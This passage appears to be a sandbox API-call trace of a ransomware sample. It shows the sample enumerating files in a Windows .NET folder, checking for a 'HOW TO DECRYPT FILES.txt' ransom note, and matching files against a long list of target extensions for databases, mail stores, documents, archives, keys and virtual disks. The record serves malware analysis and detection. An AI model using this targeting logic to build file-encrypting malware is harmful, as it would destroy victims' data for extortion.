lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.598] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.598] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.598] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.599] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="InstallUtilLib.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll" [0135.599] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.ems") returned 0 [0135.599] lstrlenA (lpString="*.ems") returned 5 [0135.599] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.db") returned 0 [0135.599] lstrlenA (lpString="*.db") returned 4 [0135.599] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.dbf") returned 0 [0135.599] lstrlenA (lpString="*.dbf") returned 5 [0135.599] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.myox") returned 0 [0135.599] lstrlenA (lpString="*.myox") returned 6 [0135.599] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.myo") returned 0 [0135.599] lstrlenA (lpString="*.myo") returned 5 [0135.599] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.qbw") returned 0 [0135.599] lstrlenA (lpString="*.qbw") returned 5 [0135.599] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.qbb") returned 0 [0135.599] lstrlenA (lpString="*.qbb") returned 5 [0135.599] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.qbm") returned 0 [0135.599] lstrlenA (lpString="*.qbm") returned 5 [0135.599] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.qbo") returned 0 [0135.599] lstrlenA (lpString="*.qbo") returned 5 [0135.599] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.qbx") returned 0 [0135.600] lstrlenA (lpString="*.qbx") returned 5 [0135.600] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.qba") returned 0 [0135.600] lstrlenA (lpString="*.qba") returned 5 [0135.600] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.qby") returned 0 [0135.600] lstrlenA (lpString="*.qby") returned 5 [0135.600] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.qbj") returned 0 [0135.600] lstrlenA (lpString="*.qbj") returned 5 [0135.600] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.ofx") returned 0 [0135.600] lstrlenA (lpString="*.ofx") returned 5 [0135.600] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.qif") returned 0 [0135.600] lstrlenA (lpString="*.qif") returned 5 [0135.600] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.mye") returned 0 [0135.600] lstrlenA (lpString="*.mye") returned 5 [0135.600] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.mbox") returned 0 [0135.600] lstrlenA (lpString="*.mbox") returned 6 [0135.600] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.eml") returned 0 [0135.600] lstrlenA (lpString="*.eml") returned 5 [0135.600] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.pst") returned 0 [0135.601] lstrlenA (lpString="*.pst") returned 5 [0135.601] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.ost") returned 0 [0135.601] lstrlenA (lpString="*.ost") returned 5 [0135.601] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.idx") returned 0 [0135.601] lstrlenA (lpString="*.idx") returned 5 [0135.601] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.dbx") returned 0 [0135.601] lstrlenA (lpString="*.dbx") returned 5 [0135.601] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.sql") returned 0 [0135.601] lstrlenA (lpString="*.sql") returned 5 [0135.601] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.mdb") returned 0 [0135.601] lstrlenA (lpString="*.mdb") returned 5 [0135.601] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.fdb") returned 0 [0135.601] lstrlenA (lpString="*.fdb") returned 5 [0135.601] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.wab") returned 0 [0135.601] lstrlenA (lpString="*.wab") returned 5 [0135.601] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.dat") returned 0 [0135.601] lstrlenA (lpString="*.dat") returned 5 [0135.601] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.txt") returned 0 [0135.601] lstrlenA (lpString="*.txt") returned 5 [0135.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.jpeg") returned 0 [0135.602] lstrlenA (lpString="*.jpeg") returned 6 [0135.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.jpg") returned 0 [0135.602] lstrlenA (lpString="*.jpg") returned 5 [0135.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.png") returned 0 [0135.602] lstrlenA (lpString="*.png") returned 5 [0135.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.php") returned 0 [0135.602] lstrlenA (lpString="*.php") returned 5 [0135.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.cs") returned 0 [0135.602] lstrlenA (lpString="*.cs") returned 4 [0135.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.cpp") returned 0 [0135.602] lstrlenA (lpString="*.cpp") returned 5 [0135.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.rar") returned 0 [0135.602] lstrlenA (lpString="*.rar") returned 5 [0135.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.zip") returned 0 [0135.602] lstrlenA (lpString="*.zip") returned 5 [0135.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.html") returned 0 [0135.603] lstrlenA (lpString="*.html") returned 6 [0135.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.htm") returned 0 [0135.603] lstrlenA (lpString="*.htm") returned 5 [0135.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.xlsx") returned 0 [0135.603] lstrlenA (lpString="*.xlsx") returned 6 [0135.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.xls") returned 0 [0135.603] lstrlenA (lpString="*.xls") returned 5 [0135.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.mp4") returned 0 [0135.603] lstrlenA (lpString="*.mp4") returned 5 [0135.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.ppt") returned 0 [0135.603] lstrlenA (lpString="*.ppt") returned 5 [0135.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.pptx") returned 0 [0135.603] lstrlenA (lpString="*.pptx") returned 6 [0135.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.doc") returned 0 [0135.603] lstrlenA (lpString="*.doc") returned 5 [0135.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.dot") returned 0 [0135.603] lstrlenA (lpString="*.dot") returned 5 [0135.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.docx") returned 0 [0135.604] lstrlenA (lpString="*.docx") returned 6 [0135.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.7z") returned 0 [0135.604] lstrlenA (lpString="*.7z") returned 4 [0135.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.tar") returned 0 [0135.604] lstrlenA (lpString="*.tar") returned 5 [0135.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.bz2") returned 0 [0135.604] lstrlenA (lpString="*.bz2") returned 5 [0135.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.gz") returned 0 [0135.604] lstrlenA (lpString="*.gz") returned 4 [0135.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.mkv") returned 0 [0135.604] lstrlenA (lpString="*.mkv") returned 5 [0135.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.eml") returned 0 [0135.604] lstrlenA (lpString="*.eml") returned 5 [0135.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.msg") returned 0 [0135.604] lstrlenA (lpString="*.msg") returned 5 [0135.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.edb") returned 0 [0135.604] lstrlenA (lpString="*.edb") returned 5 [0135.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.accdb") returned 0 [0135.604] lstrlenA (lpString="*.accdb") returned 7 [0135.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.odb") returned 0 [0135.605] lstrlenA (lpString="*.odb") returned 5 [0135.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.java") returned 0 [0135.605] lstrlenA (lpString="*.java") returned 6 [0135.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.asm") returned 0 [0135.605] lstrlenA (lpString="*.asm") returned 5 [0135.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.pfx") returned 0 [0135.605] lstrlenA (lpString="*.pfx") returned 5 [0135.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.pem") returned 0 [0135.605] lstrlenA (lpString="*.pem") returned 5 [0135.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.p12") returned 0 [0135.605] lstrlenA (lpString="*.p12") returned 5 [0135.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.gpg") returned 0 [0135.605] lstrlenA (lpString="*.gpg") returned 5 [0135.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.vsd") returned 0 [0135.605] lstrlenA (lpString="*.vsd") returned 5 [0135.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.odg") returned 0 [0135.605] lstrlenA (lpString="*.odg") returned 5 [0135.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.raw") returned 0 [0135.606] lstrlenA (lpString="*.raw") returned 5 [0135.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.nef") returned 0 [0135.606] lstrlenA (lpString="*.nef") returned 5 [0135.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.svg") returned 0 [0135.606] lstrlenA (lpString="*.svg") returned 5 [0135.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.psd") returned 0 [0135.606] lstrlenA (lpString="*.psd") returned 5 [0135.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.vmx") returned 0 [0135.606] lstrlenA (lpString="*.vmx") returned 5 [0135.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.vmdk") returned 0 [0135.606] lstrlenA (lpString="*.vmdk") returned 6 [0135.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.vdi") returned 0 [0135.606] lstrlenA (lpString="*.vdi") returned 5 [0135.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.lay6") returned 0 [0135.606] lstrlenA (lpString="*.lay6") returned 6 [0135.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.mpeg") returned 0 [0135.606] lstrlenA (lpString="*.mpeg") returned 6 [0135.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.djvu") returned 0 [0135.606] lstrlenA (lpString="*.djvu") returned 6 [0135.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.tiff") returned 0 [0135.607] lstrlenA (lpString="*.tiff") returned 6 [0135.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.backup") returned 0 [0135.607] lstrlenA (lpString="*.backup") returned 8 [0135.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.pdf") returned 0 [0135.607] lstrlenA (lpString="*.pdf") returned 5 [0135.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.cert") returned 0 [0135.607] lstrlenA (lpString="*.cert") returned 6 [0135.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.docm") returned 0 [0135.607] lstrlenA (lpString="*.docm") returned 6 [0135.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.xlsm") returned 0 [0135.607] lstrlenA (lpString="*.xlsm") returned 6 [0135.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.dwg") returned 0 [0135.607] lstrlenA (lpString="*.dwg") returned 5 [0135.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.nd") returned 0 [0135.607] lstrlenA (lpString="*.nd") returned 4 [0135.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.tlg") returned 0 [0135.607] lstrlenA (lpString="*.tlg") returned 5 [0135.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.lgb") returned 0 [0135.607] lstrlenA (lpString="*.lgb") returned 5 [0135.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.mov") returned 0 [0135.608] lstrlenA (lpString="*.mov") returned 5 [0135.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.xdw") returned 0 [0135.608] lstrlenA (lpString="*.xdw") returned 5 [0135.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.ods") returned 0 [0135.608] lstrlenA (lpString="*.ods") returned 5 [0135.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.wav") returned 0 [0135.608] lstrlenA (lpString="*.wav") returned 5 [0135.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.mp3") returned 0 [0135.608] lstrlenA (lpString="*.mp3") returned 5 [0135.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.aiff") returned 0 [0135.608] lstrlenA (lpString="*.aiff") returned 6 [0135.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.flac") returned 0 [0135.608] lstrlenA (lpString="*.flac") returned 6 [0135.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.m4a") returned 0 [0135.608] lstrlenA (lpString="*.m4a") returned 5 [0135.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll", pszSpec="*.csv") returned 0 [0135.608] lstrlenA (lpString="*.csv") returned 5 [0135.609] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaeeaa28, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdaeeaa28, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa01eaf1c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1939, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallWebEventSqlProvider.sql", cAlternateFileName="IN9D11~1.SQL")) returned 1 [0135.609] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.609] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallWebEventSqlProvider.sql") returned -1 [0135.609] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallWebEventSqlProvider.sql") returned -1 [0135.609] lstrcmpiA (lpString1="", lpString2="InstallWebEventSqlProvider.sql") returned -1 [0135.609] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtilLib.dll") returned="InstallUtilLib.dll" [0135.609] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.609] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.609] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.609] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.609] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="InstallWebEventSqlProvider.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql" [0135.609] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.ems") returned 0 [0135.609] lstrlenA (lpString="*.ems") returned 5 [0135.609] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.db") returned 0 [0135.609] lstrlenA (lpString="*.db") returned 4 [0135.610] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.dbf") returned 0 [0135.610] lstrlenA (lpString="*.dbf") returned 5 [0135.610] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.myox") returned 0 [0135.610] lstrlenA (lpString="*.myox") returned 6 [0135.610] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.myo") returned 0 [0135.610] lstrlenA (lpString="*.myo") returned 5 [0135.610] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.qbw") returned 0 [0135.610] lstrlenA (lpString="*.qbw") returned 5 [0135.610] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.qbb") returned 0 [0135.610] lstrlenA (lpString="*.qbb") returned 5 [0135.610] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.qbm") returned 0 [0135.610] lstrlenA (lpString="*.qbm") returned 5 [0135.610] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.qbo") returned 0 [0135.610] lstrlenA (lpString="*.qbo") returned 5 [0135.610] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.qbx") returned 0 [0135.610] lstrlenA (lpString="*.qbx") returned 5 [0135.610] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.qba") returned 0 [0135.611] lstrlenA (lpString="*.qba") returned 5 [0135.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.qby") returned 0 [0135.611] lstrlenA (lpString="*.qby") returned 5 [0135.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.qbj") returned 0 [0135.611] lstrlenA (lpString="*.qbj") returned 5 [0135.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.ofx") returned 0 [0135.611] lstrlenA (lpString="*.ofx") returned 5 [0135.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.qif") returned 0 [0135.611] lstrlenA (lpString="*.qif") returned 5 [0135.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.mye") returned 0 [0135.611] lstrlenA (lpString="*.mye") returned 5 [0135.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.mbox") returned 0 [0135.611] lstrlenA (lpString="*.mbox") returned 6 [0135.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.eml") returned 0 [0135.611] lstrlenA (lpString="*.eml") returned 5 [0135.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.pst") returned 0 [0135.611] lstrlenA (lpString="*.pst") returned 5 [0135.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.ost") returned 0 [0135.612] lstrlenA (lpString="*.ost") returned 5 [0135.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.idx") returned 0 [0135.612] lstrlenA (lpString="*.idx") returned 5 [0135.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.dbx") returned 0 [0135.612] lstrlenA (lpString="*.dbx") returned 5 [0135.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", pszSpec="*.sql") returned 1 [0135.612] lstrlenA 